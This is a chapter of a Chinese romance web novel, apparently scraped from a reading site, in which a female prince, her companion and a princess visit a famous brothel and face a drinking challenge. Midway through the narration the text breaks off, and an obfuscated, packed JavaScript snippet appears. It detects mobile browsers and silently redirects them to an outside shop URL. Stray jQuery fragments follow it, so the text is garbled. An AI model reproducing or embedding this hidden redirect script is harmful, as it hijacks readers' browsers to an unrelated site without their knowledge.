关山月也不松开曲尽琅的手,就这么对秦久乐微微弯腰,笑的随性,说道:“罢了,也没外人,本王就同你直说了。”
“今日是为了报答长公主替本王操持笄礼,再加上定北军入京那日,我觉得你是个不错的姑娘,故请你一起来蹭蹭曲公子的课。”
“长公主知道你是来学琴棋书画,日后就不会拘着你出门次数。下次想出门玩没次数了,欢迎你用来定北王府学才艺当借口啊,永嘉郡主。”
“怎么样,本王够不够仗义?”
看着这样的关山月,秦久乐有些惊讶,她原先只是崇拜关将军,没想到关山月是这样的妙人,倒是全然没有传闻中的乖戾疏离。
她就说,分明依照父母功勋就能荣华富贵一辈子的人,却主动放弃富贵安逸的生活,上阵卫国卫民洒热血,这样的人,怎么想都与传闻中不沾边。
秦久乐展露笑颜,却又意有所指地道:“够,王爷可太仗义了。只是王爷想来也听到京都里的传言了,我是最不耐学琴棋书画的,更何况是同王爷一起上曲公子的课。”
关山月直起身,想着方才曲尽琅的举动,眼中划过一丝兴味,抬起二人相执的手,松开,然后将那骨节分明的手放在手里把玩,让身侧的曲尽琅惯常在人前噙着的淡淡笑意都带上了几分荡漾,对面的秦久乐则是丝毫没有不好意思,看着二人的手笑得比曲尽琅还开心。
关山月将二人的表情尽收眼底,对秦久乐说道:“这可不是普通的课,既要学习如何品鉴琴棋书画,自然就要去专擅这些的地方,听过了好的才知道什么是差的。”
说着关山月停顿了一下,就听秦久乐接道:“天下间专擅琴棋书画的,莫非是进宫去听宫里那些乐师、画师此类?”
只听关山月轻嗤:“宫里的,太假,而且大多专精,多不如风月里的女子。”
秦久乐有几分讶异,但也仅仅是一会,就变成了满眼的兴味,明眸中满是跃跃欲试,说道:“那我们现在就去青楼吧。”
这么直接迅速,倒是把一旁一直没有出声不打扰关山月和秦久乐说话的曲尽琅看的,手里的折扇都停下挥动了。
秦久乐这才注意到曲尽琅还在这,又开口表面性地询问道:“曲公子觉得这个提议如何?”
只一瞬,曲尽琅又继续挥动折扇,只看向自己在关山月手里的手,悦然开口:“曲某悉听二位尊便。”
秦久乐早知曲尽琅不会拒绝关山月的提议,闻言之后继续问关山月道:“王爷,那我们需不需要像话本子里那样,女扮男装,或者戴个笠兜再去?”
关山月不以为意道:“平日里怎么穿就怎么穿着去,谁说女子就不能光明正大逛青楼。”
乐安最大最出名的青楼,名为莳花馆,里头不仅有女子,也有小倌,秦久乐当然不知,这京城中的贵妇,尤其是那些世家的宗妇,面上最是端庄大方,注重名声,实则私底下多是莳花馆的常客。
而她们,不过是没有做那些伪装,光明正大地去罢了。
莳花,是栽花;时花,是花期不久却繁盛的花;莳花馆,多的是昙华一现的人。
昙花要入了夜才有那一瞬盛放的难忘,莳花馆也要入了夜,才会有风情。
入夜后,关山月一行人明晃晃地就去了莳花馆。
莳花馆的老鸨,就叫昙华。
作为大安最出名的青楼的老鸨,日日迎来送往许多权贵,自然洞察乐安的态势,知道京城近来最出名的人和事,莫过于碧玉年华就剿灭北夷刚刚班师回朝办了笄礼还封了王的定北王,和曲相家自幼游历江湖长大与定北王一同回京的小公子,二人的笄礼上的举止以及定北王笄礼二加那极肖似曲家传家宝级别的鸡血石雕琢成的发簪。
于是乎,昙华在听到现在踏进莳花馆的自报家门说是曲家公子和定北王,还有一个庆元长公主家的永嘉郡主后,三十来岁保养得宜向来泼辣的老鸨,恨不得面上笑出褶子来表示对三人来莳花馆的欢迎。
“三位今日来是想看看姑娘还是小倌?”昙华笑着招待,毕竟是有男有女三个人来的,据说定北王和曲公子的关系还不一般,昙华就算是迎来送往的人精也难猜三个人想要男的还是女的。
关山月一袭花青蟒纹裙,尊贵的蟒纹、暗沉的色泽,衬着秾丽的颜色越发动人,倒是把所谓沉鱼落雁的颜色都比了下去,更别提现在是在青楼里,已经有无数道目光被吸引到了她身上,有些官场上的人在认出是新晋的定北王之后,更是惊诧无比。
关山月笑着回昙华道:“陛下圣意许本王同曲公子学习如何品鉴琴棋书画,本王与曲公子思来想去,要说琴棋书画,哪里的乐师画师能比得上莳花馆里多才多艺的才子佳人,于是就往这儿来了。”
关山月一笑,便是在她身后的秦久乐也感受到落在她们身上的目光更多也更灼热了,这是在青楼里,除了那些知晓定北王和永嘉郡主的人,其余落在她们身上的目光都黏腻地让她有些膈应。
这下秦久乐是不得不佩服关山月,面对什么样的目光都能面不改色谈笑自若了。
关山月察觉到秦久乐的异样,不动声色地侧了侧身将她挡住,她动身的同时,曲尽琅也默默从关山月身侧走到了身前。
曲尽琅接着关山月的话,勾起嘴角道:“听闻莳花馆月有莳花女莳花郎,不知可否见见莳花女莳花郎的琴棋书画如何?”
这倒让昙华颇有些为难,莳花馆的莳花女莳花郎,每三年各一位,每月只出现一晚,由拍卖的方式决定花女花郎当晚的恩客是谁。今日虽正是花女花郎出现的日子,可定北王一行人来得晚了些,本月的莳花女莳花郎早就一齐被乔装的二皇子给拍下了。
莳花馆能在京都安然屹立并且一家独大,除了身为老鸨和龟公是两个人精,显然背后是有人的,且背后的人身份还不低,但昙华知道,无论是二皇子还是定北王,到了这样的级别的,莳花馆背后的人也得罪不起。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085947|148767||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
p>
就在昙华为难时,四人迎面走来一个侍卫打扮的男子,对关山月抱拳行礼道:“代我家主子问定北王、曲公子安,我家主子是本月莳花女莳花郎的拍主,闻定北王一行人想见识花女花郎的才艺,特命属下来请三位共赏。”
昙华见状,忙笑着对关山月和曲尽琅说:“曲公子知道莳花女莳花郎,那想必也是知道花女花郎的规矩的,可巧本月的莳花得主愿与几位大人共享,不知几位大人看?”
关山月本来可没有来看莳花女莳花郎的意思,只要她们三人明晃晃地出现在了青楼,她想扬不着调的名的目的就算达成了,之后随便找个显眼的地方听一曲就算完事了。
故而曲尽琅突然提起莳花女莳花郎,自然就要曲尽琅来回答。
曲尽琅道:“能的莳花得主相邀去同赏花女花郎的才艺,也是我辈荣幸了。老鸨不必相送,我们跟着这位公子去就好了。”
昙华又看身份最高的定北王,关山月微微颔首以示赞同,昙华才笑着对三人行了一礼道:“好嘞,那草民就先退下了。三位要是有事,随时可以叫姑娘小厮们来唤草民,随叫随到的。”
三人跟着侍卫向莳花女莳花郎专属的“花房”走去。
侍卫推开“花房”的门,却不见所谓的莳花得主和花女花郎,只见“花房”里精致华贵,处处皆是玉石琉璃,闻之暗香幽幽,叫人心也甜腻。
桌上只摆着三只琉璃杯,地上却有几十壶酒,那侍卫关上门之后又对三人抱拳行礼道:
“我家主子说,花女花郎拍下不易,因此即便是定北王、曲公子和永嘉郡主,想要平白共赏也让人不忿,但我家主子是个爱喝酒、偏偏酒量一般,最是钦佩千杯不醉的人。”
“这里有四十八壶酒,十五壶酒是我家主子酒量的顶点,三位都要喝这酒,但只要三位中有一个人能喝完十六壶不醉,我家主子就请三位共赏花女花郎的才艺。”
听完侍卫的话,关山月凤眸微侧,看了曲尽琅一眼,曲尽琅面色不改,一双桃花眼中看不出神色,只是在二人宽大的衣袖遮掩下,伸出修长的手指,轻轻挠了关山月的掌心一下。
还不等二人有所行动,一离开底下的视线后就兴味盎然的秦久乐先执起了一壶酒,丹唇开阖道:“你家主子的想法自是无可厚非的,本郡主对莳花女莳花郎倒真的很好奇。”
“这十六壶酒,本郡主喝了。”
说着就直接坐下,对着壶嘴喝了起来。
见状,关山月道:“好!郡主够豪爽,本王也想瞧瞧莳花女莳花郎的琴棋书画能有多绝佳。”
语罢,抬手,一壶酒就落在关山月手中,仰头就浇进了喉。
曲尽琅自然也不能落后,他笑了笑,不曾开口,拿起一壶酒倒在琉璃杯中,饮尽。
一壶下肚后,还不等关山月拿起第二壶,刚喝完第一壶的秦久乐就“咚”地一声,人已是趴在了桌子上,把一旁的琉璃杯都震落地上,碎了一个。